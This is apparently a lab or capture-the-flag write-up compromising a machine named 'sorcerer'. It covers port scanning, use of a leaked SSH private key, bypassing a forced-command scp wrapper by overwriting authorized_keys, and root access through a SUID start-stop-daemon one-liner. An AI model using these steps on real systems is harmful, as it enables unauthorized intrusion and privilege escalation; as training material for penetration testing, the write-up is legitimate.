Recon
Nmap
As always, I kicked off the machine with scanning all 65,535 TCP ports.
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-
Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-14 01:55 UTC
Nmap scan report for 192.168.189.100
Host is up (0.046s latency).
Not shown: 65525 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7742/tcp open msss
8080/tcp open http-proxy
37299/tcp open unknown
43301/tcp open unknown
44355/tcp open unknown
45643/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.98 seconds
Then I ran one more TCP scan but this time only on the discovered ports with -sC and -sV flags.
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sC -sV -p 22,80,111,2049,7742,8080,37299,43301,44355,45643
Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-14 01:56 UTC
Nmap scan report for 192.168.189.100
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 81:2a:42:24:b5:90:a1:ce:9b:ac:e7:4e:1d:6d:b4:c6 (RSA)
| 256 d0:73:2a:05:52:7f:89:09:37:76:e3:56:c8:ab:20:99 (ECDSA)
|_ 256 3a:2d:de:33:b0:1e:f2:35:0f:8d:c8:d7:8f:f9:e0:0e (ED25519)
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 40470/udp mountd
| 100005 1,2,3 44355/tcp mountd
| 100021 1,3,4 43301/tcp nlockmgr
| 100021 1,3,4 51802/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
7742/tcp open http nginx
|_http-title: SORCERER
8080/tcp open http Apache Tomcat 7.0.4
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.4
37299/tcp open mountd 1-3 (RPC #100005)
43301/tcp open nlockmgr 1-4 (RPC #100021)
44355/tcp open mountd 1-3 (RPC #100005)
45643/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 13.68 seconds
Finally, I performed a UDP port scan on the top 10 ports.
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sU --top-ports 10
Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-14 01:57 UTC
Nmap scan report for 192.168.189.100
Host is up (0.046s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp closed snmp
445/udp closed microsoft-ds
631/udp closed ipp
1434/udp closed ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 4.76 seconds
Initial Access
HTTP 80 7742 8080
Before going in-depth for enumeration, I like to run http-enum script on the ports running HTTP. As you can see from the output, two directories were found on port 7742.
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP --script http-enum -sV -p 80,7742,8080
Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-14 02:02 UTC
Nmap scan report for 192.168.189.100
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx
7742/tcp open http nginx
| http-enum:
| /default/: Potentially interesting folder
|_ /zipfiles/: Potentially interesting folder w/ directory listing
8080/tcp open http Apache Tomcat 7.0.4
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 124.40 seconds
HTTP 7742
Navigating to /zipfiles in the browser, I see four .zip files are being hosted.
Downloaded all of the files locally.
┌──(kali㉿kali)-[~/Downloads]
└─$ ls -la
total 32
drwxr-xr-x 2 kali kali 4096 Jan 14 02:16 .
drwx------ 33 kali kali 4096 Jan 14 02:06 ..
-rw-rw-r-- 1 kali kali 2834 Jan 14 02:14 francis.zip
-rw-rw-r-- 1 kali kali 8274 Sep 24 2020 max.zip
-rw-rw-r-- 1 kali kali 2826 Sep 24 2020 miriam.zip
-rw-rw-r-- 1 kali kali 2818 Sep 24 2020 sofia.zip
Using unzip -l , I inspected the contents of max.zip without extracting it and identified a SSH private key, and a backup file, tomcat-users.xml.bak , containing credentials.
┌──(kali㉿kali)-[~/Downloads]
└─$ unzip -l "*.zip"
Archive: francis.zip
Length Date Time Name
--------- ---------- ----- ----
0 2020-09-24 19:27 home/francis/
220 2019-04-18 04:12 home/francis/.bash_logout
807 2019-04-18 04:12 home/francis/.profile
3526 2019-04-18 04:12 home/francis/.bashrc
--------- -------
4553 4 files
Archive: sofia.zip
Length Date Time Name
--------- ---------- ----- ----
0 2020-09-24 19:27 home/sofia/
220 2019-04-18 04:12 home/sofia/.bash_logout
807 2019-04-18 04:12 home/sofia/.profile
3526 2019-04-18 04:12 home/sofia/.bashrc
--------- -------
4553 4 files
Archive: miriam.zip
Length Date Time Name
--------- ---------- ----- ----
0 2020-09-24 19:27 home/miriam/
220 2019-04-18 04:12 home/miriam/.bash_logout
807 2019-04-18 04:12 home/miriam/.profile
3526 2019-04-18 04:12 home/miriam/.bashrc
--------- -------
4553 4 files
Archive: max.zip
Length Date Time Name
--------- ---------- ----- ----
0 2020-09-24 19:27 home/max/
220 2019-04-18 04:12 home/max/.bash_logout
807 2019-04-18 04:12 home/max/.profile
0 2020-09-24 19:27 home/max/.ssh/
738 2020-09-24 19:27 home/max/.ssh/id_rsa.pub
836 2020-09-24 19:27 home/max/.ssh/authorized_keys
3381 2020-09-24 19:27 home/max/.ssh/id_rsa
1991 2020-09-24 19:27 home/max/tomcat-users.xml.bak
3526 2019-04-18 04:12 home/max/.bashrc
133 2020-09-24 19:27 home/max/scp_wrapper.sh
--------- -------
11632 10 files
4 archives were successfully processed.
┌──(kali㉿kali)-[~/Downloads/home/max/.ssh]
└─$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAt/bdQL2FWSqIZy8+sfdp19nLsDMrirNKlDFvT2vs6WZNoW/2bFCw
SkIBbiE1bWoSYrKan0WPpKhfESuk69Lw3Aj+I2wo2nSd5n2Phua7C2xn3pN72/XayZCdPp
QZvPzhIU4cFhY5HWrNqASRfMUoOHcUuowvMLJ+5Qfi98UkuwPOEZ4V10BhoYxjXxunqTwf
...
...
Although I had obtained a private key, my SSH login attempts were repeatedly denied, instead returning the scp usage help page.
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa max@$IP
The authenticity of host '192.168.189.100 (192.168.189.100)' can't be established.
ED25519 key fingerprint is SHA256:VS30806A83YR6y/jbQ1fv89VM1FjmXYbb9zmKkJ5N+4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.189.100' (ED25519) to the list of known hosts.
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
[-l limit] [-o ssh_option] [-P port] [-S program] source ... target
Connection to 192.168.189.100 closed.
Investigation of scp_wrapper.sh revealed a restricted shell environment that explicitly forces the use of scp .
┌──(kali㉿kali)-[~/Downloads/home/max]
└─$ cat scp_wrapper.sh
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED."
scp
;;
esac
To bypass this, I audited the authorized_keys file and removed the command= prefix that was forcing the wrapper script.
┌──(kali㉿kali)-[~/Downloads/home/max/.ssh]
└─$ cat authorized_keys
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer
┌──(kali㉿kali)-[~/Downloads/home/max/.ssh]
└─$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer
All of the prefix is removed.
┌──(kali㉿kali)-[~/Desktop/.ssh]
└─$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer
However, the connection still failed with an error.
┌──(kali㉿kali)-[~/Desktop/.ssh]
└─$ scp -i id_rsa authorized_keys max@$IP:/home/max/.ssh/authorized_keys
scp: Received message too long 1094927173
scp: Ensure the remote shell produces no output for non-interactive sessions.
I pulled up the man page of scp and found the following option: -O . This option allows you to use the legacy SCP protocol for file transfers instead of the SFTP protocol. Let’s give this a try.
┌──(kali㉿kali)-[~/Desktop/.ssh]
└─$ scp -O -i id_rsa authorized_keys max@$IP:/home/max/.ssh/authorized_keys
authorized_keys 100% 836 17.5KB/s 00:00
Shell as max
I finally was able to authenticate in.
┌──(kali㉿kali)-[~/Desktop/.ssh]
└─$ ssh -i id_rsa max@$IP
max@sorcerer:~$ whoami
max
Found local.txt in /home/dennis
max@sorcerer:/home$ cd /home
max@sorcerer:/home$ ls -aR
.:
. .. dennis francis max miriam sofia
./dennis:
. .. .bash_logout .bashrc local.txt .profile
./francis:
. .. .bash_logout .bashrc .profile
./max:
. .. .bash_logout .bashrc .profile scp_wrapper.sh .ssh tomcat-users.xml.bak
./max/.ssh:
. .. authorized_keys id_rsa id_rsa.pub
./miriam:
. .. .bash_logout .bashrc .profile
./sofia:
. .. .bash_logout .bashrc .profile
max@sorcerer:/home/dennis$ cat local.txt
c86a...
Privilege Escalation
start-stop-daemon has a SUID bit set to its binary, which is very unusual.
max@sorcerer:/tmp$ find / -type f -perm -4000 -ls 2>/dev/null
166328 116 -rwsr-xr-x 1 root root 114784 Jun 24 2020 /usr/sbin/mount.nfs
131537 44 -rwsr-xr-x 1 root root 44200 Jun 3 2019 /usr/sbin/start-stop-daemon
131139 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
164794 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
134752 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
135086 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
166426 16 -rwsr-xr-x 1 root root 14664 Oct 9 2019 /usr/bin/vmware-user-suid-wrapper
134605 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
131134 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
135088 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
131137 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
131135 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
938 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
152206 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
148810 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
GTFObins confirms it could be an attack vector for privesc.
Shell as root
Take a look at the euid , I’m root!
max@sorcerer:/tmp$ /usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/bash -- -p
bash-5.0# whoami
root
bash-5.0# id
uid=1003(max) gid=1003(max) euid=0(root) groups=1003(max)
Found proof.txt
bash-5.0# ls
proof.txt
bash-5.0# cat proof.txt
4cfd5...